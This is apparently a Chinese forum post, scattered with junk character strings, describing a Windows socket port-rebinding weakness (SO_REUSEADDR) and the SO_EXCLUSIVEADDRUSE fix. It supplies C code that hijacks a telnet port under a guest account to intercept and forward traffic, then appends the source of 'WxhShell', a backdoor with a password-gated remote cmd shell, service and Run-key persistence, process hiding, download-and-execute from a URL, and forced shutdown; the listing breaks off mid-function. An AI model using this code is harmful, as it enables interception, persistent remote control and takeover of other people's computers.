在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
9WQ'"wyAQ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
=M4wP3V/ \Km+>G saddr.sin_family = AF_INET;
eISHV.QV U}=H1f, saddr.sin_addr.s_addr = htonl(INADDR_ANY);
1.
Q"<[ M ^Ga_wJP8S bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
;D4
bxz0ou ~+RrL,t# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
jlUT9Zp 3rX8H`R 这意味着什么?意味着可以进行如下的攻击:
b+CvA(* V|nJ%G\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
[E}pU8.t6 A/j'{X!z
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
%V!!S#W ?DNeL;6 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
1gYvp9Ma |FFMQ" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
+J}h 3}.OSt'= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
|l?*' = .
vea[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
n{c-3w.uD 4'`*Sce} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
b3-+*5L 4&`d$K #include
S8]YS@@D #include
OnE~0+ #include
#Z_f/@b #include
q&wv{ DWORD WINAPI ClientThread(LPVOID lpParam);
-$D#u int main()
GIUyW {
$I\lJ8 WORD wVersionRequested;
M;@/697G DWORD ret;
t;[?Q\ WSADATA wsaData;
0Jm)2@ BOOL val;
3HX-lg`0 SOCKADDR_IN saddr;
45Q#6BtE SOCKADDR_IN scaddr;
6uWPIM; int err;
hB]<li)"C SOCKET s;
AiV1
vD` SOCKET sc;
xEe3,tb'e int caddsize;
DEpn> HANDLE mt;
Vdf~rV DWORD tid;
/KCIb:U wVersionRequested = MAKEWORD( 2, 2 );
9
J~KM=p err = WSAStartup( wVersionRequested, &wsaData );
Be0v&Q_NK if ( err != 0 ) {
t-J\j"~%+ printf("error!WSAStartup failed!\n");
T4"*w return -1;
3#c0p790 }
AjO|@6 saddr.sin_family = AF_INET;
CK} _xq2b 'ewVn1ME[ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Csx??T_>r e&XJK*Wf saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
JuXuS saddr.sin_port = htons(23);
? `# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0[SrRpD {
(
ESmP printf("error!socket failed!\n");
i.>d#S return -1;
~C ;gEE- }
v@]\
P<E val = TRUE;
qu0dWgK //SO_REUSEADDR选项就是可以实现端口重绑定的
se]QEd7]7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
DP7B X^e {
L@LT *M printf("error!setsockopt failed!\n");
yDBMm^ return -1;
$t42?Z=N&z }
"Bbd[ZI8 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
6ALUd^ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
HpTX6}^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
nM&UdKf3 bjGQ04da if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Eg|C {
]5i]2r1 ret=GetLastError();
Lk]/{t0 printf("error!bind failed!\n");
\jThbCb return -1;
Av^<_`L: }
!mRDzr7 listen(s,2);
N"o+;yR while(1)
]h_V5rdX@ {
QDJ:LJz\ caddsize = sizeof(scaddr);
` z!?!"= //接受连接请求
n!t][d/g+ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
*%`jcF if(sc!=INVALID_SOCKET)
-axV;+"b {
joJ:*oL mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
M-+=t8 if(mt==NULL)
/"OJ~e_% {
#R$[?fW printf("Thread Creat Failed!\n");
W0>fu> break;
5Dlx]_ }
(dVrGa54 }
~`Xu6+1o CloseHandle(mt);
maTZNzy }
eMV@er| closesocket(s);
*Me{G y WSACleanup();
VyL|d^'f_ return 0;
[E/}-m6g }
Kw^tvRt'* DWORD WINAPI ClientThread(LPVOID lpParam)
1|zy6 {
t.E3Fh!o SOCKET ss = (SOCKET)lpParam;
(N25.}8Y SOCKET sc;
;0`p"T0 unsigned char buf[4096];
@:"GgkyDl# SOCKADDR_IN saddr;
9K`uGu long num;
IB+)2 ` DWORD val;
H0 .,h; DWORD ret;
D1VM_O
//如果是隐藏端口应用的话,可以在此处加一些判断
;BMm47< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
r@m2foaO saddr.sin_family = AF_INET;
=q-HR+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Vz,2_QJ saddr.sin_port = htons(23);
4C{3>BE if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\v}3j^Yu {
J6Q}a7I# printf("error!socket failed!\n");
L/R ES return -1;
|6.1uRF E2 }
T>;Kq;(9 val = 100;
xz$S5tgDQK if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
';z5]O~ {
"gPAxt ret = GetLastError();
h8MkfHH7{ return -1;
JrdH6Zg }
9w! G if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
SLze) ?. {
0w_2E ret = GetLastError();
@GiR~bKZ return -1;
PNbs7f }
An%V>a-[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
dIR6dI {
p3NTI /- printf("error!socket connect failed!\n");
rGe^$!QB closesocket(sc);
=!`\=!y closesocket(ss);
,T|%vqbmw return -1;
*ppb4R;CW }
nd]AvVS while(1)
-~HlME*~f {
?Ze3t5Ll //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
`f2m5qTP% //如果是嗅探内容的话,可以再此处进行内容分析和记录
o\luE{H
.? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
'd"\h# num = recv(ss,buf,4096,0);
QJG]z'c+ if(num>0)
Z0~}'K send(sc,buf,num,0);
}fo?K|Xx else if(num==0)
%-4e8d74/ break;
6L6 Lk num = recv(sc,buf,4096,0);
eXU;UO^ if(num>0)
?ExfxR!~ send(ss,buf,num,0);
~%Ws"1 else if(num==0)
rr[9sk`^H break;
$Q:5KNF+p }
X
|f'e@ closesocket(ss);
o4kNDXP#S closesocket(sc);
Mdh(Mp(w return 0 ;
pg~`NN }
~X;(m<f2 ^yRCR] oT qvOBvUR} ==========================================================
RU`TzD qR_"aQ7s2 下边附上一个代码,,WXhSHELL
qi7wr\XNW l1odkNf| ==========================================================
'ce9v@(0 $ZDh8
*ND #include "stdafx.h"
'q[V*4g ji(S ?^ #include <stdio.h>
U
gB #include <string.h>
S$"A[ #include <windows.h>
Y@.> eS #include <winsock2.h>
"`:#sF9S #include <winsvc.h>
[jumq1 #include <urlmon.h>
aG|)k, ,)L.^< #pragma comment (lib, "Ws2_32.lib")
NUL~zb #pragma comment (lib, "urlmon.lib")
Dz)bP{iq" ]?)zH:2) #define MAX_USER 100 // 最大客户端连接数
wCvD4C.WH #define BUF_SOCK 200 // sock buffer
;T52aX #define KEY_BUFF 255 // 输入 buffer
Zt` ,DM 3F}d,aB
A #define REBOOT 0 // 重启
<6apv(2a #define SHUTDOWN 1 // 关机
uR"]w7= GW
$iK@ #define DEF_PORT 5000 // 监听端口
1shvHmrV QW2% Gv: #define REG_LEN 16 // 注册表键长度
>8NQ8i=]V1 #define SVC_LEN 80 // NT服务名长度
w-nkf
M~ |E7]69=P // 从dll定义API
E$G"R= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
R1q04Zj{2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
@pkozE- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
n(o
Jb typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
BLJ-'8G +vbNZqwz // wxhshell配置信息
-=qmYf struct WSCFG {
jY?%LY@5I int ws_port; // 监听端口
b'{D4/ char ws_passstr[REG_LEN]; // 口令
"{0kg'fU int ws_autoins; // 安装标记, 1=yes 0=no
Z=H
fOC char ws_regname[REG_LEN]; // 注册表键名
E{Q^ZSV3B char ws_svcname[REG_LEN]; // 服务名
Sdt
@"6 char ws_svcdisp[SVC_LEN]; // 服务显示名
yz+r@I5 char ws_svcdesc[SVC_LEN]; // 服务描述信息
h'jnc. char ws_passmsg[SVC_LEN]; // 密码输入提示信息
6% ,Q int ws_downexe; // 下载执行标记, 1=yes 0=no
d~_OWCg` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
[}AcCXg`L char ws_filenam[SVC_LEN]; // 下载后保存的文件名
n+i}>3'A 0CN.gu };
`H|g~7KD& &`%C'KZ // default Wxhshell configuration
G37_
`C struct WSCFG wscfg={DEF_PORT,
{"y6l "xuhuanlingzhe",
rj5:YQEH; 1,
IWQ8e$N "Wxhshell",
B=p'2lla "Wxhshell",
O,;SA "WxhShell Service",
P~*fZ)\}F@ "Wrsky Windows CmdShell Service",
N,1wfOE "Please Input Your Password: ",
Fq3;7Cq=hD 1,
FPMW"~v "
http://www.wrsky.com/wxhshell.exe",
f[ywC$en "Wxhshell.exe"
}l2JXf55 };
s6
^JgdW &KB{,:)? // 消息定义模块
&vn9l#\( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
a|>MueJ char *msg_ws_prompt="\n\r? for help\n\r#>";
z(=:J_N char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
s0h)~z char *msg_ws_ext="\n\rExit.";
Ea
!j-Lb o char *msg_ws_end="\n\rQuit.";
])JJ`Z8Bk char *msg_ws_boot="\n\rReboot...";
g?`J ,*y char *msg_ws_poff="\n\rShutdown...";
,s)H% char *msg_ws_down="\n\rSave to ";
o]j* "&ks83 char *msg_ws_err="\n\rErr!";
g$tW9 Q char *msg_ws_ok="\n\rOK!";
1Li@O[%X< 6 qq7: char ExeFile[MAX_PATH];
nZ*P:K t: int nUser = 0;
izxCbbg HANDLE handles[MAX_USER];
7MfT~v int OsIsNt;
cQR1v-Xt 6IX!9I\sT SERVICE_STATUS serviceStatus;
uu:)jx i SERVICE_STATUS_HANDLE hServiceStatusHandle;
|bk*Lgkzw $1v5*E // 函数声明
fin15k int Install(void);
9NT;^K^I int Uninstall(void);
cm]]9z_< int DownloadFile(char *sURL, SOCKET wsh);
LWI~m2 int Boot(int flag);
>g[W@FhT'k void HideProc(void);
"Wm~\)t( int GetOsVer(void);
2
zy^(%a int Wxhshell(SOCKET wsl);
%Z7!9+< void TalkWithClient(void *cs);
?Z=v&d[o) int CmdShell(SOCKET sock);
o;[oy#aWl_ int StartFromService(void);
WdT|xf.Q& int StartWxhshell(LPSTR lpCmdLine);
c;^ J!e No7Q,p VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Bag#An1 VOID WINAPI NTServiceHandler( DWORD fdwControl );
ueR42J%s k mjm6 // 数据结构和表定义
p[b\x_0%c SERVICE_TABLE_ENTRY DispatchTable[] =
"7HB3?2>W {
1 XG-O {wscfg.ws_svcname, NTServiceMain},
o >Lk`\ {NULL, NULL}
Al|7Y/ };
&f*d FUM]I .6K>" // 自我安装
RVfe}4Stm# int Install(void)
GHy#D]Z {
~S3eatM$9 char svExeFile[MAX_PATH];
+]-KzDsr"V HKEY key;
^aXBt strcpy(svExeFile,ExeFile);
9^u?v`!
vrzX%' // 如果是win9x系统,修改注册表设为自启动
to3J@:V8e if(!OsIsNt) {
/<0D
E22 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+&OqJAu RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
yjd'{B9{ RegCloseKey(key);
??Zmj:8E' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0Mg8{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
j;)g+9` RegCloseKey(key);
^{:jY, ?] return 0;
er0D5f R }
k`TJ<Dv; }
91H0mP>ki }
>Mw &Tw}o else {
]ufW61W6Ci !dY:S';~ // 如果是NT以上系统,安装为系统服务
"ILWIzf.] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|L;psK if (schSCManager!=0)
X:lPWz!7{ {
<im<(=m9 SC_HANDLE schService = CreateService
s.` d<(X? (
G%!\ p:w schSCManager,
D a[C'm= wscfg.ws_svcname,
/w M wscfg.ws_svcdisp,
6
]Oxx{|} SERVICE_ALL_ACCESS,
k-V I9H!, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
WuFwt\U SERVICE_AUTO_START,
{X<4wxeTo SERVICE_ERROR_NORMAL,
JGcD{RU| svExeFile,
c1kxKxE NULL,
.vS6_ NULL,
i ,pN1_- NULL,
9K':Fn2, NULL,
c%@~%IGF NULL
=nx:GT3&[ );
bz0P49% if (schService!=0)
lVdT^"~3 {
MJ,ZXJXs CloseServiceHandle(schService);
#we>75l{+R CloseServiceHandle(schSCManager);
f&}A!uLe4x strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
+xfW`[.{ strcat(svExeFile,wscfg.ws_svcname);
ie@`S&.8 T if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
+}QBzGW` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
^Wfgwmh RegCloseKey(key);
dAr)%RZ return 0;
/;&+<
} }
BwJ^_:(p~ }
RP,:[}mPl CloseServiceHandle(schSCManager);
RO{@RhnV }
z5`8G =A }
kAN;S<jSE 0[:9 Hb6 return 1;
nS+FX&_ }
Bw<zc=% w,Zx5bBg% // 自我卸载
.S!>9X,
int Uninstall(void)
XDkS
^9 {
6W;?8Z_1 HKEY key;
/Y[o=Uyl 3`k[!! if(!OsIsNt) {
FU\/JF.j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?orh JS RegDeleteValue(key,wscfg.ws_regname);
0^9:KZ.! RegCloseKey(key);
+z|UpI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R6q4 [" RegDeleteValue(key,wscfg.ws_regname);
*:9 >W$0u RegCloseKey(key);
Fkcx+d return 0;
0aC2 Pym^ }
[Iw>|q<e }
y98JiNq }
m\/,cc@, else {
dXiE.Si NTm<6Is` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
;h9-}F if (schSCManager!=0)
T2DF'f3A {
ZU-4})7uSB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
m']9Q3- if (schService!=0)
7-".!M {
'u(=eJ@1 if(DeleteService(schService)!=0) {
Cs:+93w CloseServiceHandle(schService);
cgs3qI CloseServiceHandle(schSCManager);
X-kXg)!Bg return 0;
{gFAvMj# }
VY/|WD~"CW CloseServiceHandle(schService);
qr)v'aC3 }
@up&q CloseServiceHandle(schSCManager);
[)#u<lZ<~ }
+65oC x
}
`FA)om kS B return 1;
x37/cu }
SU%mmwES3 .E+OmJwD // 从指定url下载文件
[ rQMD^:M$ int DownloadFile(char *sURL, SOCKET wsh)
8P,l>HA {
z,pNb%*O HRESULT hr;
I@n*[EC char seps[]= "/";
x3Nkp4=Xd char *token;
{(rf/:X!p char *file;
P+Wm9xR2d char myURL[MAX_PATH];
,YjxCp3 char myFILE[MAX_PATH];
oW0gU?Rr)u ~Fy`>* strcpy(myURL,sURL);
i=oTg token=strtok(myURL,seps);
}>2t&+v+ while(token!=NULL)
>s&XX,
w {
bqSMDK file=token;
B@-|b token=strtok(NULL,seps);
9khjwt }
'gCJ[ ce NX?}{'f GetCurrentDirectory(MAX_PATH,myFILE);
6\NvG,8 strcat(myFILE, "\\");
d]U`?A, strcat(myFILE, file);
R.K?
send(wsh,myFILE,strlen(myFILE),0);
PPEq6} send(wsh,"...",3,0);
H4t)+(:D' hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
d$w(-tV42 if(hr==S_OK)
zm>>} 5R return 0;
vX ?aB!nkw else
.}o~VT:!?Y return 1;
0; 7#ji
W!t{rI7 2 }
Uo~T'mA" kd yAl, // 系统电源模块
j !`B'{cH int Boot(int flag)
Oukd_Ryf {
)i;un. HANDLE hToken;
a"x}b TOKEN_PRIVILEGES tkp;
6D|p Qs 7'z(~3D if(OsIsNt) {
p!_[qs OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Nb0Ik/:< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
yNBv-oe5 tkp.PrivilegeCount = 1;
3A_G=WaED tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
:_v!#H) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
@Gt`Ds9= if(flag==REBOOT) {
"tUwo(K[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
\/ErPi=g return 0;
|d[5l^6 }
X3<K 1/< else {
8] `Ru5nd if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
zEj#arSE4 return 0;
A{N\) }
Xwt`(h[u }
+y/ 55VLq else {
"N 3)Qr if(flag==REBOOT) {
"oR@JbdX if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
vy[C'a return 0;
-}P7$|O& }
S( else {
{]^O:i" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
\9/RAY_G return 0;
py
@(
< }
Xh
F_] }
BJk
Z2= Be2lMC return 1;
d$G}iJ8$mp }
,$N#Us(Wa x6W`hpL // win9x进程隐藏模块
GSi>l,y' void HideProc(void)
j/KO|iNL2 {
2: SO_O4C [c~kF+8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
U>a\j2I if ( hKernel != NULL )
cE\>f8 I {
36vgX=} pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@kxel`,$e ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
]JXKZV8$0 FreeLibrary(hKernel);
#+k*1Jg }
x#*QfE/E(@ j.%K_h?V5 return;
D+RiM~LH8 }
H,y4`p 0 Mxl]"?z // 获取操作系统版本
=a}b+(R int GetOsVer(void)
VUwC-) {
Y`BRh9Sa OSVERSIONINFO winfo;
@7<uMasfp winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
[{
~TcT GetVersionEx(&winfo);
oD.r`]k if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Ii&7rdoxe return 1;
=1.9/hW else
VIJ<``9[ return 0;
t0)<$At6J }
eOI (6U! V[nQQxWp= // 客户端句柄模块
bZ1 78>J] int Wxhshell(SOCKET wsl)
aZ|=(] {
t2BL(yB SOCKET wsh;
D5,P)[ struct sockaddr_in client;
0#*Lw }qi DWORD myID;
S* *oA 6 9DQa
PA6 while(nUser<MAX_USER)
Ch \&GzQ {
RQB
4s^t int nSize=sizeof(client);
eKvV*[Na wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
$~;D9 if(wsh==INVALID_SOCKET) return 1;
E&$yuW^z Q'O[R+YT , handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
h vka{LD if(handles[nUser]==0)
c%m3}mrb closesocket(wsh);
@&|l^ 1 else
,#?uJTLH nUser++;
0tg8~H3yy }
svf|\p>]H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
qMt++*Ls $-}e; V Zb return 0;
4k-+?L!/G }
{ FZ=olZ V'*~L\;pU // 关闭 socket
=L;] ;i void CloseIt(SOCKET wsh)
OyV<u@[i {
:+Om]#`Vls closesocket(wsh);
+5VLw nUser--;
z4M9M7)" ExitThread(0);
4lhw3,5 }
ivDGZI9 4SPy28<f // 客户端请求句柄
|sRipWh void TalkWithClient(void *cs)
>{\7&}gz {
J]f3CU,<N D?XM,l+ SOCKET wsh=(SOCKET)cs;
EBz}|GY; char pwd[SVC_LEN];
b)(?qfXWP char cmd[KEY_BUFF];
;22oY>w char chr[1];
#Zrlp.M4 int i,j;
q[`j`8YY!R .`>y@p! while (nUser < MAX_USER) {
8JmFi u#}[ZoI if(wscfg.ws_passstr) {
s(X;Eha if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
aaD;jxT&M| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
B,,D7cQC //ZeroMemory(pwd,KEY_BUFF);
C8z{XSo i=0;
Yn8= while(i<SVC_LEN) {
M1KqY: 9E E@7J:|.)R // 设置超时
Y>'|oygHA fd_set FdRead;
!%$`Eq)M^7 struct timeval TimeOut;
yX~v-N!X FD_ZERO(&FdRead);
Qxj JN^Q FD_SET(wsh,&FdRead);
+TXX$)3% TimeOut.tv_sec=8;
q$=#A7H>3) TimeOut.tv_usec=0;
OpHsob~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
zc[Si bT if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
lok= S~|T4q( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
}iuWAFZbGS pwd
=chr[0]; ,G)r=$XU
if(chr[0]==0xd || chr[0]==0xa) { G37U6PuZi
pwd=0; e=.]F*:J
break; wiiCd
} D-c`FG'
i++; EY tQw(!Q
} :Y [LN
&Y }N|q-
// 如果是非法用户,关闭 socket 6Oy$gW)
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >3Eo@J,?d
} <~WsD)=$
EKO[ !,
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OLE[UXD-E
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~;N^g4s
.X;3,D[w
while(1) { vd[0X;
ml+; Rmvb
ZeroMemory(cmd,KEY_BUFF); #?S^kM-0
K57&yVX
// 自动支持客户端 telnet标准 `G}TG(
j=0; -X"p:=;j
while(j<KEY_BUFF) { 1]p ZrBh"E
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <_-hRbS
cmd[j]=chr[0]; \RG8{G,
if(chr[0]==0xa || chr[0]==0xd) { e7sp =I,
cmd[j]=0; Rx}$0c0
break; 2I,^YWR
} C)`Fv=]R
j++; (^Y~/
} XzEc2)0'v
'2 PF
// 下载文件 `)_dS&_\
if(strstr(cmd,"http://")) {
@fl-3q
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 73/P&hT
if(DownloadFile(cmd,wsh)) ,Vt/(x-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zdYy^8V|z
else `ojoOB^L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Uc_G13Y{D
} t%E!o0+8Z
else { `)T13Xv
xLK<W"%0
switch(cmd[0]) { &E.^jR~*
uM_wjP
// 帮助 n[lJLm^(_C
case '?': { lPw%ErG
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K/IWH[
break; .\)U@L~
} )b)-ZS7
// 安装 tMf}
case 'i': { lh7jux
if(Install()) jIC_[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); old(i:2
else l`#4KCL(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wl#@lOv-P
break; ;:\<gVi:
} ]>=}*=
// 卸载 1v.c 6~
case 'r': { *U&0<{|T
if(Uninstall()) -p]1=@A<}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n"G&ENN"$
else _m5uDF?[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); haK3?A,"_A
break; Q(wx nm
} pwL;A3$|
// 显示 wxhshell 所在路径 2^h27A
case 'p': { hT`J1nNt
char svExeFile[MAX_PATH]; 5:Z0Pt
strcpy(svExeFile,"\n\r");
e2s]{obf
strcat(svExeFile,ExeFile);
D~S<U
send(wsh,svExeFile,strlen(svExeFile),0); *>7 >g"
break; {< )1q ;
} #U!
_U+K
// 重启 I,>-t GK
case 'b': { 7}f}$1
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V58wU:li
if(Boot(REBOOT)) >,gg5<F-E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7K,-01-:
else { m0ER@BXRn
closesocket(wsh); ^1iSn)&
ExitThread(0); ~zCEpU|@N
} =RA /
break; O#:$^#j&
} @XLy7_}
// 关机 UQ)W%Y;[0
case 'd': { *X'Y$x>f
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [I'0,y
if(Boot(SHUTDOWN)) [#-b8Cu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s.bc>E0
else { "& ])lz[u
closesocket(wsh); ZZ2vvtlyG
ExitThread(0); ciBP7>'::
} ")O%86_Q:
break; X 0WJBEE
} Sj]T
// 获取shell iHeN9 cl
case 's': { Gw>^[dmt!
CmdShell(wsh); =
s>T;|
closesocket(wsh); m+`fn;*
ExitThread(0); Isvx7$Vu+
break; ?5C!<3gM)
} QS%%^+E2
// 退出 %`>nS@1zp
case 'x': { F"&~*m^+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G,?hp>lj
CloseIt(wsh); 'Y*E<6:
break; 3LAIl913
} pWy=W&0~qf
// 离开 !nqUBa
case 'q': { `IP/d
send(wsh,msg_ws_end,strlen(msg_ws_end),0); v*'^r)Q[p
closesocket(wsh); >6NRi /[
WSACleanup(); OVm\
exit(1); *@Lp`thq
break; ;nep5!s;<
} .u*0[N
} ^N7e76VwR
} s3~lT.
_wTOmz%|R
// 提示信息 sx7eC
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6g|*`x{
} 4lr(,nPRD
} kh
{p%<r{
Id_2PkIN$~
return; =Q+;=-1
} ~D<IB#C
"3Uv]F
// shell模块句柄 Wi*.TWz3
int CmdShell(SOCKET sock) {9?Jj A
{ O~T@rX9f
STARTUPINFO si; c9HrMgW
ZeroMemory(&si,sizeof(si)); f-bVKHt
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5~r33L%
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V}J)\VZ2#
PROCESS_INFORMATION ProcessInfo; /RNIIY~w
char cmdline[]="cmd";
8cU}I4|
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hWM<
0=
return 0; @Fluc,Il
} YUx.BZf7
=T-&j60
// 自身启动模式 JG" R\2
int StartFromService(void) 4.Q} 1%ZN
{ ySx>LuY#3
typedef struct G~Hzec{#tg
{ {t0)
q
DWORD ExitStatus; ZG>PQA
DWORD PebBaseAddress; K@sV\"U(*E
DWORD AffinityMask; %6t2ohO"
